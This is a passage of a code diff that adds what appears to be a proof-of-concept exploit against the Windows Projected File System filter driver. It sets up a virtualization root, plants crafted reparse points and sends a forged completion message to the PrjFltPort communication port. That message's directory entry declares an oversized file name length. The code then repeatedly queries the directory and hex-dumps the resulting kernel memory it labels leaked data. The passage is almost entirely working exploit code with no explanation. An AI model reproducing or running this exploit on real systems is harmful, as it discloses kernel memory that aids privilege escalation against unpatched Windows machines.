PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT MyStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT MyEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT MyGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + CompleteCommandHandler(callbackData->CommandId); + return S_OK; +} + +HRESULT MyGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT MyGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = MyGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = nullptr; + callbackTable.NotificationCallback = nullptr; + callbackTable.CancelCommandCallback = nullptr; + + HRESULT hr; + const wchar_t* rootName = LR"(C:\virtRoot)"; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + nullptr, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + + +struct _PRJ_MSG_OUT_HEADER +{ + int MessageType; + int Size; + int Status; + char Data[256]; +}; + + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + size_t ReparseDataLength64; // rbp + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ReparseDataLength64 = ReparseDataLength; + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength64; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + *pFileHandle = FileHandle; + + return hr; + +} + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + + +void PrintOutput(char* buf, int Size) { + + //printf("\n"); + for (int i = 0; i < Size; i++) + { + if (i != 0 && i % 8 == 0 && i % 16 != 0) { + printf("-"); + + } + else if (i > 0) + { + printf(" "); + } + + + if (i % 16 == 0 && i != 0) { + printf("\n"); + } + + printf("%02x", (unsigned)(unsigned char)buf[i]); + + } + printf("\n"); +} + +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize : 8; //0x0 + USHORT PoolIndex : 8; //0x0 + USHORT BlockSize : 8; //0x2 + USHORT PoolType : 8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + struct _EPROCESS* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +void PrintPoolHeader(_POOL_HEADER* Header) { + if (Header->PoolTag != 0) { + + char szTag[0x10] = { 0 }; + ULONG size = Header->BlockSize * 0x10; + memcpy(szTag, &Header->PoolTag, 4); + + printf("PoolTag: %s, size: 0x%x\n", szTag, size); + } + +} + +typedef struct _FILE_ID_EXTD_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + WCHAR FileName[0x10/2]; +} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +}FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION; + + +void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) { + DWORD OutputBufferLength = 0x11100; + PVOID OutputBuffer = malloc(OutputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + UNICODE_STRING FileName = { 0 }; + PCWSTR lpcwName = L"3*"; + RtlInitUnicodeString(&FileName, (PWSTR)lpcwName); + + while (1) { + + memset(OutputBuffer, 'B', OutputBufferLength); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false); + //printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + + if (IoStatusBlock.Information == OutputBufferLength) + { + + ULONG EntrySize = sizeof(FILE_ID_EXTD_DIR_INFORMATION); + ULONG FileNameOffset = ULONG(&(((PFILE_ID_EXTD_DIR_INFORMATION)0)->FileName)); + ULONG BufferOffset = EntrySize + FileNameOffset; + ULONG MaxEntryBuffer = 0x11000; + + PFILE_DIRECTORY_INFORMATION pDirInfo = (PFILE_DIRECTORY_INFORMATION)((char*)OutputBuffer + MaxEntryBuffer - BufferOffset); + char* pLeakedData = (char*)(pDirInfo->FileName); + + //PrintPoolHeader((_POOL_HEADER*)(pLeakedData)); + PrintOutput(pLeakedData, 0x100); + printf("\nPress enter key to continue . . .\n"); + getchar(); + } + + } +} + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + +struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA +{ + ULONG DataSize; + int _4; + GUID virtualizationInstanceID; + int Tag; + char _1c[60]; + ULONG CommandId; + int RetStatus; + ULONG ResultLength; + char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2 + 0x11100]; +}; + +struct _PRJ_MSG_COMLETE_COMMAND_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data; +}; + +DWORD WINAPI CompleteCommandHandler(int CommandId) { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + if (hPort == NULL) { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + } + + static DWORD InputBufferLength = 0x20000; + static PVOID InputBuffer = malloc(InputBufferLength); + + static DWORD OutputBufferLength = 0x20000; + static PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 }; + + memset(&Message, 'A', sizeof(Message)); + + Message.Header.MessageType = 5; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA); + + Message.Data.Tag = 0x9000001C; + Message.Data.virtualizationInstanceID = InstanceId; + Message.Data.CommandId = CommandId; + Message.Data.RetStatus = 0; + Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2; + + + + PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer; + FileInfo1->NextEntryOffset = 0; + FileInfo1->FileNameLength = 0x10; + FileInfo1->FileName[0] = L'.'; + + PFILE_ID_EXTD_DIR_INFORMATION FileInfo2 = (PFILE_ID_EXTD_DIR_INFORMATION)(Message.Data.ResultBuffer + sizeof(FILE_ID_EXTD_DIR_INFORMATION)) ; + FileInfo2->NextEntryOffset = 0; + FileInfo2->FileNameLength = 0x15000; + FileInfo2->FileName[0] = L'.'; + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + + + //printf("FilterSendMessage hResult:%x\n", hr); + + return 0; +} + +void PrjCompleteCommandHandler() +{ + CreateVirtualizationRoot(); + StartVirtualizatioInstance(); + PrintInstanceId(); + + //CloseFltPortHandle(); + + + USHORT Length = 0; + HANDLE DirFileHandle = NULL; + HANDLE FileHandle = NULL; + _PRJ_REPARSE_DATA* ReparseData = NULL; + ReparseData = CreateReparseData(L"dd", 0x10, &Length); + HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true); + CloseHandle(DirFileHandle); + + + ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false); + CloseHandle(FileHandle); + + ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length); + hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true); + CloseHandle(FileHandle); + + FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation; + FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64); + //PatchLib(); + + NpQueryDirectory(FileHandle, FileInfoClass); + + + CloseHandle(FileHandle); + + getchar(); +} + + +int wmain(int argc, WCHAR* argv[]) +{ + PrjCompleteCommandHandler(); + //CompleteCommandHandler(0); + return 0; +} \ No newline at end of file